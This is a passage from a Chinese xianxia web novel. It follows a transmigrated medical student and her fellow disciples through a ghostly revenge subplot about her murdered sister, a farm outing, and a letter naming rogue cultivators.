好生奇怪,她并不觉得姐姐有多喜欢季邕,那所谓指腹为婚的婚约也不过是季家夫人尚且同母亲交好时定下的,如今离缔结婚约的年岁已过去好些年,关家早已落魄,季家大约只是碍着情面与名声,才不曾主动提出退婚。 因此季邕老往姐姐身边凑的这些年岁,镜溪城的人众说纷纭,有看得透彻,说他一厢情愿,关家姑娘压根不热络的;有完全眼瞎,说他情根深种,未来怕是无法与心爱之人白头偕老的。 不论是一厢情愿还是情根深种,闻之皆令人作呕。 她只想让那口水潭泛起波浪,但季邕却想把它占为己有。他想在周围种上他自己喜欢的花草,在里面养他自己喜欢的鱼儿,每日精心照料花草、投喂食物,换别人一句你对那水潭可真是精心。 世人真是可笑,眼瞎心盲不自知,还总做出高深模样对他人生活指点。 他精心照料的自然并非那口水潭,也并非水边的花草,水里的游鱼,他照料的是自己的虚荣心,是那悄无声息吞噬了水面月色的阴云。 他就像寄生于树木上的藤蔓,在日复一日的缠绕中,将树木的养分绞杀殆尽。 分明是她先种下的荆棘。 姐姐对荆棘置之不理不去触碰,不强行突破她们之间的边界,难道也不打算挣脱那些藤蔓吗? 她只是刺探,藤蔓可是在纠缠啊。 虽山不就我,我偏去就山。 于是她开始接近季邕,以此换取姐姐脸上那显而易见的情绪转变。 她向来懂得如何扮演乖巧,因此也懂得接近季邕需要扮成什么模样。 向来是母亲想看到何种模样的她,她就能在不断的练习中变得越发惹人喜爱。与其他被偏宠长大的孩子不同,她清楚地明白偏爱某个孩子的父母,喜欢的只不过是孩子在他们心中的形象。 比水中月更易碎,比镜中花更缥缈。 而一旦被偏爱的孩子往偏离形象的方向迈出一步,那份偏宠便会彻底崩解。 …… 与季邕来往的次数多了,姐姐的反应也变得寡淡起来,并不如最初那般生气了。反倒是母亲将她与季邕的来往看在眼里,一日竟迟疑问道:“漪儿也喜欢季家公子?” 她很想如实回答,自己完全看不上季邕这种货色,姐姐也绝对不会喜欢这种人,会与季邕来往完全是为了惹姐姐不快。 但这话与她往日形象有悖,故而她开口时已是另一种说辞:“倒也说不上喜欢,只是季家公子待人温和有礼,一来二去的接触便多了些。” 几句话说得她隔夜饭都要吐出来。 这辈子没说过这么违心的话,哪怕是为了达到自己的目的,说出这种话也实在是有些强人所难了。 母亲果然没有多心,反而露出为难的神色说道:“若是从前家中还显赫的时候,漪儿喜欢谁家公子,母亲一定尽力为你铺路,但现今家道中落,你姐姐又还与那季家公子有着婚约……” 她顺其自然地扮出乖巧懂事的模样:“母亲不必忧心,那是姐姐的夫婿,女儿怎会不知分寸。” 母亲这边敷衍过去后,她又打算故技重施,试探得过分些,看看姐姐会有怎样的反应。 然而她终究算错一步。 她当季邕是同母亲一般好拿捏的人,被她扮出的假面骗得团团转,却不曾想季邕根本不打算与她同演这场戏。 他要掀了这戏台。 …… 她在镜溪城中长大,每日虽不至于大门不出二门不迈,但生活的范围始终以关家为中心,算不得多么广阔。 人在宅子里待久了就容易发疯,她有时觉得这世上的每个人都是不同的水流,自由些的,是溪水河水甚至海水这样的活水,不自由的,宅子里的,宫殿里的,就是池水潭水。 她只想把另一口潭水搅得乱一些,好看看她是否也同自己一般,在这块淤泥般的地界挣扎不已。 但她从未想过要把潭水抽干。 失去姐姐的踪迹后,她找上季邕质问,却得知此事母亲也有份,两人甚至是合谋。 镜溪城就坐落在青镜山脚下,但她从未离开过镜溪城,对青镜山一无所知。凡俗之人与修道者相去甚远,季邕与她无甚区别,又怎么会忽然想到把姐姐送上仙山,又怎么会知道归墟还会给送孩子修道的家庭一笔相当可观的抚恤? 此事处处都透露着古怪。 但母亲那里显然也问不出什么,她只能继续与季邕虚与委蛇。 直到那日姐姐的归来。 …… 她不是姐姐。 若是姐姐得知她要嫁给季邕,一定不会是如今这般漠然的神情。 **** 这些便是关云铮一行人来到小院之前,殷含绮从季邕身上看到的记忆。 准确地说那并非记忆,而是杀人者身上残存的因果。 他为何杀人,死者又为何被杀。季邕这种烂人,手上居然只沾了关云漪一条人命,一条因果线清晰分明得如同大雪过后,雪地中的那行脚印。 鬼灯楼与鬼魂打交道,自然能看见季邕周身缠绕的鬼魂裹挟了多么深重扭曲的恨意。 殷含绮只是随便伸出手试探,那些因果就像扎手的荆棘一般缠绕上来,把一切隐秘不可告人的思绪全部告诉了她。 殷含绮手中桃花面上的绣纹微微发着红光:“你想要什么?” “我想要我姐姐活着。” 殷含绮笑着叹了一口气:“你知道她已经死了。” “那就让季邕死得比我姐姐还痛苦。” “可以,此事我之后会帮你实现。但在实现此事之前,我要问你一个问题。”殷含绮这样说道。 “与此事有关的我都告诉你了。” 殷含绮托着下巴:“是啊,我知道你也没少往他身上捅刀子,可惜他污糟手段太多,你斗不过他。” “……你要问什么?” “你想让我告诉那个人,你是怎么死的吗?” 因果中的关云漪沉默了一会儿:“不必了,她不是我姐姐。” “那她可能会一直恨你,甚至会觉得,是你导致了你姐姐的死亡。” “我姐姐也恨我,不差她这一个无关的人。”那声音停顿片刻,“也确实是我害死的姐姐。” “既如此,我没有别的要问的了。”殷含绮收回手。 “你要如何帮我实现?” 殷含绮笑起来:“你大概不认识我,但你或许听过鬼灯楼?” “邪修?” “对,你现在是鬼魂了,妹妹。”门外逐渐响起零散的脚步声,应该是闻越带着关云铮等人过来了,殷含绮收敛起笑意,“鬼魂拥有的力量远超你所想,你可以亲手折磨他,让他——” 生不如死,一如季邕此刻。 殷含绮收起扇子,径自转身离去,把季邕不似人声的惨叫哀嚎远远地抛在身后。 **** 穿越过来一个多月的光景,吃的饭菜不是师门菜地里自己种的,就是闻家酒楼的大鱼大肉,关云铮还没吃过像今天这顿这样……朴素但不失风味的饭菜。 虽说她自己做菜可能也差不多是这个风格,但菜色就存在着根本上的不同——归墟哪有鲫鱼啊! 鲫鱼豆腐汤、桂花糖藕都是寻常菜色,但身在归墟时实在是巧厨难为无鱼、桂花之炊,偶尔煮奶茶时让李厨下山找水牛乳已经够折腾了,要是做菜的时候还需要青镜山上没有的食材,还不知道每次下山要折腾多久。 一桌子菜被众人一扫而光,关云铮饱餐一顿,立竿见影地发起饭晕,想要帮忙收拾碗筷时被农户们轻巧拨开:“哪有让主家做事的。” 她只好晕乎乎地去旁边坐着,没坐多久又被独自开朗的闻越拉起来:“走,我们去钓鱼!” 关云铮晕头转向但十分配合,跟着闻越走出去好几步才想起没看到楚悯,又转过身想招呼一声。 “小悯已经跟师兄一起去池塘边了,就差我俩了,快走快走。”闻越拉住她袖子大步朝前走。 她感觉自己晕得厉害,但又探究不出究竟是哪里不舒服导致的,每走一步都活像中暑,眼前的颜色全部变成闪着光的色块,在她视线里张牙舞爪。 咚咚。咚咚。 心跳越来越响的声音。 几乎像是心魔引要作乱的征兆。 她不做声地抬手,用手背探了探自己的额温,摸不出一点异常。 之前两次心魔引作乱眉心都会有点热,皮肤下方还总有什么东西搏动似的,突突地跳。 纯粹发饭晕能晕成这样?关云铮用仅剩的还在运转的脑细胞艰难地思考着。 闻越拉着她走了好一段都没听见她出声,回过头来咋呼:“云崽我跟你说那个池……你脸色怎么这么难看?” 关云铮被他一个急停搞得更晕了,不由得伸手搭住他肩头:“我头晕得厉害……” 闻越吓坏了,因为被关云铮搭着肩膀,身子也不敢动,只脖子往后扭,朝不远处的江却大喊:“师兄!” 关云铮连忙用另一只手摆手:“别喊大师兄,应该没事。” 闻越这么一扭头差点把筋抻着,回过头来仔细看了会儿她眉心,确认没有现出什么不详的红色痕迹后问道:“犯恶心吗?” “倒是不至于。”关云铮平复下来,两手揉了揉太阳穴,“我估计是这几天将隐用多了,多少有些消耗精力。” 闻越听了这话皱眉:“你不就昨日用了吗,还有什么时候用了?” 关云铮自知理亏,声音也弱下去:“方才抽取季邕记忆的时候。” 闻越眉头皱得更紧了:“我不曾见你把它拿出来啊。”他话还没说完,身后还没抵达池塘边就被喊住的江却和楚悯半路折返,已经走到了他们身侧,楚悯自然而然地接上话:“想必不用拿出来也能发挥作用。” 关云铮点点头:“这两日我总能听见它转动的声音。” 闻越叹了口气:“一定是因为你方才太想知道……所以才会让那法器无令自动。” 太想知道什么?关云铮昏沉地想,啊,想知道关云漪的死因。 但那其实是非常浮于表面且刻意的思考,毕竟关云漪一身的伤,任谁看了也能把她的死因推测个大概,客观上来讲,还没到动用将隐的程度。并且那时“得知关云漪到底因何而死”是她迫切的冲动,和昨日那些不经意间的潜意识甚至无意识思考,以及电光火石般的灵光一现相比,显得……有些寻常。 在今日之前她一直觉得将隐的作用是帮她理清思绪,所以总在她思路不清晰和记忆不明确时运转,但抽取季邕记忆时,她分明很清楚自己想要在他的记忆中看到什么,这样也能触发将隐吗? 她还以为将隐是洞察幽微,推演至分明的法器…… 它的运转究竟有什么触发条件? “明日回归墟时去问问师父。”看出关云铮陷入纠结,而她此刻身体状况分明不支持她多思多虑,江却率先下了结论,又宽慰道,“问题总能解决,无需担忧。” 闻越附和:“是啊,不至于这么愁眉苦脸的。” 关云铮本想嘀咕一句她不是特别担忧也没愁眉苦脸,抬眼时一看才发现楚悯和闻越的眉毛尖都快挂下来了,闻越甚至连嘴角都是往下撇着的。 好吧看来她脸色是真的很不好看,于是只好安抚:“小事小事,估计就像小悯说的一样,将隐需要一些灵气作为运转的条件,用的多了,自然有些力竭。” 楚悯皱着眉:“我还未曾见过这样触发的法器,它运转的原因似乎也没个定数。”之前看了兄长的传信还以为它只是天问的寻常法器,使用者到了一定境界才会以消耗部分灵气为代价进行卜算,结果现在云崽还没筑基就在调用精力回溯了,是父亲对此有所隐瞒,是以兄长得知的此物权能也不完整;还是此物到了云崽手中拥有了别样的权能? 楚悯不高兴时的脸色很有几分吓人,因为不常见到,乍见之下甚至比平时严肃的大师兄和面无表情的任师姐加起来更令人生畏,后面两位还只是会让人下意识反思最近修炼有无懈怠,楚悯的神色则让关云铮在当下就收敛了自己的嘻嘻哈哈,一秒钟内从强撑无事变成了弱柳扶风:“哎哟这法器真是后患无穷,我接下来都不用了。” 三人的脸色这才缓和。 江却甚至伸手拍了拍闻越的肩膀,把自己的便宜师弟拍回神:“走了,不是说要钓鱼?” 闻越点点头跟上,但还在揉着后颈:“哎哟我这脖子……” 关云铮与楚悯走在两位师兄身后,不怎么头晕后忍不住又开始回忆:在抽取季邕记忆的那段时间里,其实她怀疑有过一个瞬间,心魔引的力量在强行冲破师父设下的封印。 因为那时她情绪起伏巨大,在诸多情绪分心的时刻依然能感觉到眉心的皮肤不停地跳动着,仿佛底下的恶种即将爆发而出。 而彼时使她恢复神智清明的,是戴在手腕上的撷光。 那手镯平日里戴着相当趁手,既不会松垮得忽上忽下,也不会紧密地硌着手腕,不遇到意料之外的攻击时几乎没有什么反应,因此存在感也在日渐薄弱。 可偏偏是方才,她感觉到心魔引的冲撞时,那镯子忽而毫无预兆地加紧,明明一直戴在手腕上该沾染些体温,却像是内圈嵌了银针似的,冰凉的质感把她扎得一哆嗦,当场清醒了过来。 关云铮这样想着,下意识伸手摸了摸那镯子。 撷光像是有心智一般,在她触碰时微微扩大又缩小,像是在展示自己未被察觉的多样功能。 她无端被这小玩意儿哄高兴了,垂着眼笑了一声。 闻越一脸莫名地回过头:“怎么又笑了?头不晕了?” 关云铮笑意顿时收敛,老实道:“晕。” 鱼竿早就被农户们备好,四人陆续在池塘边坐下,娴熟或是生疏地往鱼钩上放饵料。 关云铮摸索着挂好鱼饵,又摸索着把鱼线抛入水中,随即靠在竹椅的椅背上发呆。只是这呆发着发着就困倦起来,想着闭上眼睛打个盹,居然就这么睡着了。 **** “……所以这个基因型是什么,大a小a对吧……” “诶,我在。” 关云铮被人工智障的弱智语音识别和回复逗笑了,乐出了声。 室友在旁边一脸无语:“有这么好笑?上次Siri回复丝氨酸的呼唤都没见你笑,怎么,这位格外好笑?” 关云铮一脸震惊:“你哪来的?” 室友脸上的无语加重了:“我寝室来的,你对面那张床。” 关云铮这才发现对面这位是活的,不是她的幻觉,连忙伸手掐了一把自己的胳膊——很好,没痛觉,还是做梦。 她的目光停留在室友身上太久,后者逐渐不自在起来,转过身问道:“你怎么了这是?”嗯,是她那位好客室友没错,说话喜欢无意识倒装。 关云铮摇摇头,收回视线,只是太久没见到了,觉得好像……挺想念的。 修仙的日子当然很好,有无条件包容的师门,比食堂好吃许多的饭菜,还有相当拉风帅气的技艺可以学习。 但在当下的这个瞬间,她忽然觉得,穿越回来学医也不是不能接受。(做梦嘛,哪有脑子清楚的。) 于是她神秘兮兮地靠近室友,在对方看精神病般的眼神里问道:“如果我猝死后穿越到修仙文里了,你觉得怎么样?” “挺好的,我们能保研了,你也没死透。” “你可真会说话。” “那你想问什么?这种死法还不够舒服?你要是现在猝死,见习课都没上完,实习一天也没干就死了,最苦的都没经历,皆大欢喜。” 关云铮指指点点一阵:“你真是被临床PPT了。”不过她得承认没实习就穿越确实很爽了,要是各科室轮转了一溜够,经历了因为性别被区别对待、被部分病人及其家属呼来喝去以及跑腿、跟台、换药等一系列实习医生受难时刻,好——不容易能本科毕业或者考研了,结果穿越到了修仙世界,她大概应该会拿起屠刀立地成魔的吧。 白受罪了啊!谁会开心!早干嘛去了! “你也少看点修仙文,万一到毕业都没法穿越过去,岂不是会很遗憾。”室友默认了穿越一事的可行性,劝了一句。 “那倒不至于。”毕竟修仙其实也怪累的,脑子和躯体没一个闲着,还一直被寄予厚望不敢懈怠。哪像学医,医学院人才辈出,她算哪块小饼干,下学期初不补考都算大成功了,哪里会有同门的师兄师姐关心爱护。 临床不渡学渣,阿门。 “那你怎么突然问这个问题?” 关云铮无从解释,只好屈服:“别管我了,看修仙文看的。” 室友用一种“我就知道”的眼神看着她。 ——“咬钩了,云崽!” 关云铮被这一声喊得陡然惊醒,双腿生理本能似的一蹬,用力过猛差点从竹椅上摔下去,坐稳后才后知后觉地茫然:“啊?我钓上鱼了?” 江却从旁边伸出一只手帮她把鱼拎了上来:“方才睡着了?” 她还没完全回神,下意识伸手接过,被不断挣扎的鱼用尾巴甩了一脸水。 这下清醒了。 **** 闻越的本意是在农庄里住一晚,明日早晨再回归墟,结果没等他钓上第二条鱼,展骏就来汇报,说农户们已经开始准备桂花蜜了。 “诶?不是说明日吗?”关云铮正枯坐得无聊,闻言立刻从鱼竿上调转视线。 展骏颔首:“原本是明日,但……” 闻越明白了:“他们听说我们想要,今日就打算开始准备了?”见展骏没反驳,闻越“唔”了一声,“那我们去看看?” 关云铮积极响应,和楚悯一前一后地站起来:“去看看,反正半天没钓上第二条鱼了。” 闻越起身时也纳闷:“这池子不会就四条鱼吧,我们挨个钓上一条,就没了?” 走在最后的江却指了指闻越的鱼竿,示意他往水里看。 坐着的时候看不清楚,此刻起身才发现分明有好几条鱼在鱼钩底下咬饵,只是全都成精了似的,每次都只咬走一部分饵料而不咬钩。 闻越、关云铮和楚悯:“……” 这别是归墟偷偷养的鱼吧,开了灵智还是怎么的? 江却推测道:“大概是钓鱼的人多。” 老演员了是吧。 关云铮吐槽无能,跟着展骏往回走。 “不过今日就有桂花蜜的话,我们还要留到明日吗?还是过一会儿便回归墟?”楚悯走在关云铮身侧问道。 关云铮思索了一会儿:“虽说厢房已经备好了,不住的话他们就白准备了……” 楚悯读懂她的未尽之意,接上话茬:“但要是今晚住下,他们还得打扫厢房?” 关云铮露出“懂我”的表情:“对,我是这么想的。” 闻越作为农庄的少东家拍板道:“那就同他们说一声,我们晚饭前便回归墟,劳动他们收拾厢房了。” 江却“嗯”了一声,作为对闻越所言的赞同。 准备桂花蜜的农户与收拾厢房的并不是同一户,是以展骏得令后为他们简单说明前者所在方位,先行一步去另一处告知情况。 “李厨已经回去了吗?”楚悯又问道。 闻越还真被问住了:“待会儿找找?李厨总是行踪不定的。” 说到行踪不定,关云铮看向江却,好奇道:“大师兄会缩地成寸吗?” 江却难得露出迟疑的神色:“会,但算不上熟练。” “为何?”楚悯也好奇起来。 江却沉默片刻,开口时居然叹了口气:“每次缩地成寸都晕得厉害。” 关云铮若有所思:“那岂非每次出行都最好是御剑?缩地成寸会晕的话,坐灵舟也会晕吧?” 就是可能没有缩地成寸那么晕,毕竟交通工具上的位置变化和运动相对温和,带给位觉感受器的刺激不如瞬息间实现的缩地成寸那样剧烈。 江却如实答道:“是,除了师门集体出行时会骑马,多数时候是御剑。” 这就完全没想到了,关云铮听见这话眼睛都亮了:“师门集体出行?” 闻越手欠似的薅了根狗尾巴草在手里玩:“每位弟子入门后,一年修习期满,便会被师父带着下山四处游玩一年,等你和小悯集中教习结束,仙门大比也参与过,便轮到你们一同下山游玩了。” 楚悯有些错愕:“我也一起?” 闻越笑起来:“当然,虽然你并非师父的徒弟,但会在苍生道的院子度过这一年的修习,自然是师门的一份子。” 关云铮忍不住拉着楚悯的手好一通摇晃:“一起玩一起玩一起玩!” 楚悯被她晃得笑起来:“一起玩。” **** 桂花蜜的制作过程其实无甚特别,但关云铮是桂花狂热分子,哪怕过程简单用不上她帮忙,也搬了条小凳坐在一边,观看了制作的全程。 楚悯坐在旁边和她说悄悄话:“你说来年章先生会带我们去哪些地方?” 关云铮也是才知道此事,对具体的细节一无所知——要不是闻越被展骏按闻逍指示抓走,去听农庄这一季的收成汇报,她高低得抓着他问个清楚,因此面对楚悯的疑问也答不出个所以然,自己反而冒出诸多奇思妙想:“你觉得师父会不会带我们去各地仙门玩一圈?” 楚悯若有所思:“大概会?这次传送阵法的目的地也设有诸多仙门。” 关云铮“诶”了一声:“原来是预先设下的?我还当是想去哪就能去哪呢。”说完这话她又自觉不妥,找补了一句,“不过想想也是,师父和掌门总不会让我们完全随心所欲,不然传送到危险的地方就麻烦了。” 楚悯也点点头:“我想极有可能是预先设下的目的地,剔除了某些危险的地点。” “哪些地方比较危险?没有仙门驻守的地方?”关云铮忍不住问道。 “不完全是,毕竟仙门的力量有限,有些地方哪怕有仙门驻守,出于地势险峻等诸多原因,总会力有不逮,因此仍然存在危险。”楚悯思索着回答。 关云铮想起楚悯回来时告知的灵兽派经历,忍不住吐槽了一句:“我看鹧鸪山就算地势不险峻也够危险的。” 楚悯忍俊不禁:“确实,毕竟兽性难驯。” 说到这,关云铮又习惯性给自己叠甲:“要是他们不执着于驯服灵兽,估计也不会那么危险了。” 楚悯深以为然地点头。 两个脑袋凑在一起嘀嘀咕咕好一会儿,说累了正想歇会儿,就见站在一边的江却掐着时间似的,递过来两个柿子。 “洗过了,干净的。”江却言简意赅地解释了一句。 “多谢师兄。”两位师妹异口同声道。 江却像个定时定点刷新的游戏NPC,递完柿子又走远了。 关云铮坐在小板凳上,拿着柿子啃了口:“脆的?” 楚悯也咬了口自己手里的柿子:“我这个是软的。” 关云铮感觉怪惊喜的:“我正好喜欢吃脆柿子。” 楚悯也眉眼弯弯:“我也正好喜欢吃软柿子。” 两人对视一眼,一同笑起来。 不远处的农户们也在说悄悄话。 “那个喜欢吃脆的。” “另一个喜欢吃软的。” “那小伙子还挺会挑的。” “都是他师妹,哪能不懂。” “不懂的多了去了,多的是哥哥不知道妹妹喜好的呢。” “这都是当师兄的应该做的,不看看那俩小姑娘多讨人喜欢,唉,要是我女儿就好了。” “做你的桂花蜜去,白日发起梦了。” “说说还不行?” 处在讨论中心的两个小姑娘对关于自身的讨论一无所知,先后吃完柿子后继续有一搭没一搭地聊起天。 “我们下山这大半日,其他同窗也该回来了吧?”毕竟三日期限都快到了,再不回来传送符就得强制传送了。 “应该回来了。”楚悯也有点搞不明白,“难道只有我们是去了其他仙门寻找武器吗,其他同窗都去的武器铺子?” 闻越不知道从哪冒出来的,站在两人身后一边啃柿子一边说道:“也说不准,有些人大概会回自己师门。” 关云铮已经快要免疫师门人的突然出现了,换做平时估计至少被吓得抖一抖,此刻她面色如常,还平静地回头,看了闻越一眼。 闻越虽专注啃柿子,但还是注意到了师妹投来的视线:“怎么?” 关云铮眨了眨眼:“别处仙门也有剑冢吗?” 闻越说话的声音有点含混:“我知道的只有归墟,不过就算没有剑冢,每个门派也肯定有几把留存的武器供门中表现优异的弟子选用,或者再不济,普通的剑总有一些。” “为何?”关云铮疑惑。 “仙盟这几年不是明里暗里推崇剑修吗,所以各地门派的弟子哪怕后来不学剑,初入师门的几年也总会学点剑招,剑招都有些什么,你想想。” 她还真想到了一种可能,于是试探着说:“万剑归宗?” 闻越赞许地点点头,但仍被柿子占着嘴,说不了话,于是朝一直在默默听二人说话的楚悯一抬手,示意她来接过话题。 楚悯看懂了,接茬道:“正是,故而各地仙门总会有些无主的剑可供弟子选择。” “万剑归宗会把别人的剑也喊过来吗?”想了想感觉场面怪震撼的。 闻越啃完柿子又去洗干净手,回来时正好听见这么一句,被逗得笑出声来,笑完了又忍笑正色道:“还真会,有些剑心智不坚定,就容易被别人喊走。” 关云铮悲凉地想,完了,日后别人练万剑归宗的时候,她得立马把摇羽揣进乾坤袋里。 摇羽倒不是心智不坚定,它是热衷于和她对着干,保不齐到时候真会飞到别人手里,那就很尴尬了。 闻越想了想又追了一句:“不过归墟还没发生过这种事,日后你可以试试。” 关云铮一脸茫然地指了指自己:“我?” 闻越点头:“对。” 关云铮看了看一旁的楚悯,又看了看不似在开玩笑的闻越,怀疑全世界都知道她已经筑基了只有她自己不知道,脸上顿时浮现出更大的茫然:“师兄是觉得我能做到吗?” 问的是闻越,回答此话的反而是楚悯:“我觉得你能做到。” 关云铮很想来一句烂梗,张口欲言好半晌,只好屈服道:“为何?我自己都没有这种信心。” 江却捧着坛子走来:“有信心方有办到的可能。” 强者发言果然不同凡响,关云铮顿时自惭形秽(并没有)道:“大师兄说的是。” 行踪不定的李演走在江却身后,见了关云铮朝她招了招手,示意有封给她的信。 关云铮从板凳上站起身,因为板凳太矮坐得太久,两条腿感觉都不太对劲,有几步路就瓢了几步,到李演面前时才缓过来:“给我的信?” 她一脸茫然还没褪去,疑惑又占据眼角眉梢:“谁的信?” 李演抱臂在一旁:“估计是辗转了几手送来的,递信的小厮我不认得,但此信上加了个小术法,不是你本人打不开。” 关云铮一脸困惑,手下谨慎用力,撕开信封的封口。 里头只有薄薄一张信纸,字迹洋洋洒洒写了近一页:“季邕被关云漪变成的鬼魂折磨疯了,与他交易的鬼灯楼弟子姓名我也已经知晓,多数都在你那日下山时被你大师兄解决,余下几位姓名附在最后,料想你大约不会放过他们,只希望你能过阵子再去寻人报仇,这几人近日一直在服用各类丹药,出招阴邪得很,需多加小心。” 最后面用明显小了一号但清楚得多的字体写了几个人名。 虽未署名,但能写出这些话的,除了殷含绮也没别人了。 关云铮刚看完,那信纸就在她手中无火自燃,“噌”一下烧得只剩一点边角,正好就是留了几个邪修姓名的那点边角料。 哇哦,好酷炫的术法。 这点动静相当起眼,其余三人一时之间都围了过来:“殷含绮的信?” 这话是闻越问的。 关云铮点点头:“她说……季邕被我妹妹变成的鬼魂折磨疯了。” 闻越被这短短一句话震住了,好半晌才来了句:“这么快?” 意识到自己说的话有些不妥,他又解释道:“我的意思是,此人疯了傻了岂不便宜他,他就该意志清醒着接受惩罚,怎么这么快就疯了?” 听着似乎更不妥了呢师兄。 不过在场另外三人都见识过了关云漪尸体的惨状,压根没人在意季邕的精神状态,大家虽然都没明说,但心里怕是都希望此人死得越惨越好,生不如死更好。 楚悯则比较关心关云铮的状态,但她也不说话,只是站在关云铮身边一眼又一眼地看她。 关云铮捏着那点纸片回过神来:“她还给了我当时与季邕交易之人的名单。” 闻越的神情顿时凝重起来:“你别是现在就想着去寻仇吧?我第一个不同意啊。” 江却也不赞同:“既然季邕今日前来寻找殷含绮讨要丹药,说明之前那些丹修并未把成品给他,成品极有可能是被他们自行服下。鬼灯楼的丹药向来邪性,此时去寻人,怕是没有胜算。” 江却似乎是第一次说这么长的句子,关云铮听完才说:“殷姐姐也是这么说的,让我过阵子再依着名单去找。” 楚悯这才放心地点点头:“殷姐姐说得对。” 闻越跟殷含绮过不去似的:“大师兄说得也对。” 关云铮警惕地把手往两人中间一放:“停,大师兄和殷姐姐说的都对。” 闻越也没有跟楚悯争辩的意思,只是单纯对夸赞殷含绮的言论不大服气,关云铮“正义裁决”后便打住不说了,只是脸色看着还是不怎么高兴的模样。 关云铮有些想笑:“师兄,你究竟为什么对殷姐姐这么大的不满?我在季邕记忆中看到,她是镜溪人士,而你来到镜溪后没多久便来归墟修道了,你们按理来说不该有什么接触才是吧?” 闻越看上去像是想对这个话题缄口不言,但对着两位师妹好奇的目光,终究还是没扛住,过了好一会儿才说:“我幼时是被母亲当女儿养的。” “啊?”关云铮惊得手里的纸片都掉了。 这个话题是怎么走到这一步的? 难道说殷含绮见过闻越扮作姑娘家的模样? 不对啊,如果说闻越来镜溪后依旧扮了一段时日的姑娘家,那认识闻越已久的柳相岂非见过的次数更多?怎么不见闻越对柳相那么抵触?因为柳相威慑力太强了? 闻越臊眉耷眼的:“那时候我和大哥刚到镜溪,母亲倒是给我准备了男装,但都在箱箧最底下,第一日也就穿了好一会儿的女装。” 关云铮已经快憋不住笑了:“然后?你就正好被殷含绮撞见了?” 闻越果然立马炸毛:“谁知道她那么闲!这个墙头趴一阵,那个墙头翻一翻的,正好给她看见我在院中穿着裙子。” 这是什么传统古言剧本吗,还是冤家路窄型的,关云铮恍惚地想。 可惜她更喜欢殷含绮独美,嗑不了一点她的CP。更何况她这位三师兄看着,根本不像红鸾星飞得动的类型,私以为这一对不仅不好嗑还十足硌牙。 “后来穿上男装,裙装就成了她手中的把柄,几乎见面就得揶揄我几句,你说烦不烦。”闻越皱着眉撇开视线。 楚悯实在没忍住,不小心笑出声来,忙不迭对着怒目而视的闻越解释:“不好笑,一点也不好笑。” 关云铮肆无忌惮:“那柳相呢?她也知道你幼时都穿的裙装吧?” 闻越“哼”了一声:“她要是打趣我,那也烦人。” 果然,被她猜中了,闻越气的不是穿裙装,而是有人拿此事调侃。 什么先天被泥塑圣体。 江却弯腰把地上的纸片捡起来递还给关云铮,又伸手指了指方才被他捧过来的小坛子:“那一坛是农户们制作的桂花蜜。” “这就做好了?这么多?”关云铮瞳孔地震了,“这得要多少桂花?” 闻越摆摆手:“镜溪旁的没有,就是花多,也就是如今季节不好,没什么可看的,来年春天多下山玩几次,让你大饱眼福。” 关云铮一听“下山”两个字就忍不住有些发愁,真情实感地哀怨道:“本就课业繁重,这次严骛吃了瘪,回仙盟后指不定要搞出什么幺蛾子,来年还能偶尔下山玩吗?” 楚悯倒是觉得情况没那么糟糕:“严骛似乎没有我先前以为的惹人厌,虽也不是什么好人,但估计回去也不会添油加醋,此番归墟毕竟没有如何苛待他,应当不会有什么麻烦。” “他最好是。”关云铮不大高兴地回应道。 “操这心作甚,天塌下来有师父和掌门顶着呢。”闻越搭着关云铮的肩膀调转她的朝向,示意大家一起去谢过农户,准备回归墟。 江却难得跟了一句玩笑话:“嗯,还有任师姐和我。”—— 作者有话说:武器资料更新: 殷含绮:法器,团扇外观,桃花面。 殷含绮的称号也是桃花面。 朦胧见,鬼灯一线,露出桃花面。——黄仲则《点绛唇》 第67章 同热情的农户们道过谢, 几人正要离开农庄回归墟,关云铮和楚悯又被塞了几个柿子到怀里。 “这几个是脆的,这几个是软的, 近日凉快下来了, 可以放些日子,但还需紧着吃, 不然口感和味道都会差许多。”一位神情十分和蔼可亲的大娘把柿子递给她们, 笑眯眯地说着。 楚悯和关云铮乖乖道谢。 那大娘又转向闻越:“小少爷想吃便问师妹要吧,不另外给你了。” 闻越:“?”这对吗。 关云铮笑嘻嘻的:“回去先分给师父师姐和掌门,要是有多的再给师兄哈。” 闻越倒不是在乎这几个柿子,但听了这话实在想笑:“你怎么不说给任师姐送一个过去?” 关云铮恍然大悟似的:“那任师姐喜欢脆的还是软的?” 闻越被这话梗了一下:“我上哪儿知道去?你看我像敢跟任师姐说话的吗?”而且他怀疑任师姐这样的真的会吃柿子吗,她都快喝露水了吧?没有对任师姐不敬的意思。 楚悯倒是很支持关云铮的想法:“我们各拿一个去找任师姐吧,你想不想看看被她劈开的练剑台?” 关云铮差点把这茬忘了, 闻言兴致高涨道:“对哦,走走走, 快回去找任师姐。” 两位师妹手挽手走远了。 两位师兄站在原地对视一眼,默默跟上。 至于李演……行踪不定的李厨在给关云铮拿来殷含绮的信后就缩地成寸回归墟了。 他走之前本打算捎走那坛桂花蜜, 正打算捧起来时被关云铮阻拦, 苍生道最小的弟子脸上的神情十分严肃:“不行,你先回去的话师父趁我们不在偷吃桂花蜜怎么办,到时候他又得闹牙疼。” 李演失笑:“好好, 那辛苦你们带回来, 我便先行一步去同你们师父报平安了。” 江却顺势捧起了坛子,自动承担起了力气活。 关云铮对李演这样动辄以缩地成寸作为交通方式的行为怪好奇的:“缩地成寸不应该是消耗灵气较多的术法吗?李厨怎么老是用?” 个大招用得跟平A似的,看得人怪羡慕的。 闻越正收拾装鱼的篓子,方才展骏特意从池塘边拿回来的,里头装了四人的战果——四条活蹦乱跳的鱼。虽说以往也钓过鱼, 可带回去自己处理,不对,看师妹处理还是头一遭,他不由得把脑袋探进鱼篓里看了一眼。 ——被正在甩尾巴的鱼溅了一头一脸的水。 本来要说出口的话也被甩回去了,闻越狼狈地抹了一把脸,接过江却递过来的手帕,一边擦脸一边说:“李厨至少是金丹中期了,也不知道师父打哪儿找来一个法力如此高强的人,居然还只打算让他做厨子。” 关云铮正端详那个坛子有无特别之处,闻言头也不抬地点评:“不想做厨子的刀客不是好修士。” 闻越擦脸的动作一顿:“此言在理。” 关云铮端详的动作也是一顿:刚又秃噜出去什么东西…… 站在一边的江却解释道:“缩地成寸的灵气消耗与两地之间的距离相关,镜溪城坐落于青镜山脚下,使用缩地成寸时损耗不算太大。” 难怪。是不是相当于从城堡移形换影到霍格莫德村的距离,好吧城堡内部不让移形换影。 ——总之拿了桂花蜜又被塞了柿子,四人正准备满载而归时,和关云铮并肩走在前面的楚悯忽然问道:“我们怎么回去?” 走在后面的闻越整个人都凝固了。 关云铮转身看向闻越:“师兄你早晨怎么下山的?” 